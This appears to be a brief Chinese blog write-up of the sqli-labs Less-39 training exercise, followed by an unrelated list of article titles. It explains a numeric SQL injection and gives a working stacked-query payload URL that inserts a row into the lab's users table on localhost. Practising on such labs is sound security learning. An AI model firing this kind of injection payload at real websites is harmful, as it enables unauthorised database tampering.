Less-39

和less-38的区别在于sql语句的不一样：SELECT * FROM users WHERE id=$id LIMIT 0,1

也就是数字型注入，我们可以构造以下的payload：

http://127.0.0.1/sqli-labs/Less-39/index.php?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27less39%27,%27hello%27)--+

通过数据表中可以看到添加的less-39项。

最新文章

1. MySQL 用户登录密码和远程登录权限问题
2. JavaScript中严格模式"use strict";需注意的几个雷区：
3. outline (group) 在Excel worksheet 中
4. WORD 粘贴代码 不检查语法
5. SQL中group by的用法
6. fastq to tasta using linux shell script
7. php三种基础算法：冒泡，插入和快速排序法
8. JavaScript : 基本的处理事件
9. 各版本 linux(转)
10. LaTex代码生成器
11. php 正则只保留 汉字 字母 数字
12. wireshark filter manualpage
13. GPS校时器,GPS时钟装置,NTP网络时间服务器
14. Python开发【内置模块篇】datetime
15. Nifi 老是死机
16. Manjaro更新出现冲突
17. 如何使用 Visual C# .NET 处理 Excel 事件
18. java面试题整理(3)
19. pyglet self.
20. centos7无法上网问题

热门文章

1. PHPStorm配置支持友好的Laravel代码自动提示
2. java-脚本-编译-注解
3. debian完整部署 Nginx + uWSGI + Django
4. spring AOP advice 类型 和 通用的切点的配置方式
5. IE浏览器各版本的CSS Hack
6. React Native相关
7. 从此不再惧怕URI编码：JavaScript及C# URI编码详解
8. 【转】VNC配置
9. base64和图片的互转（HTML5的File实现)
10. trap命令使用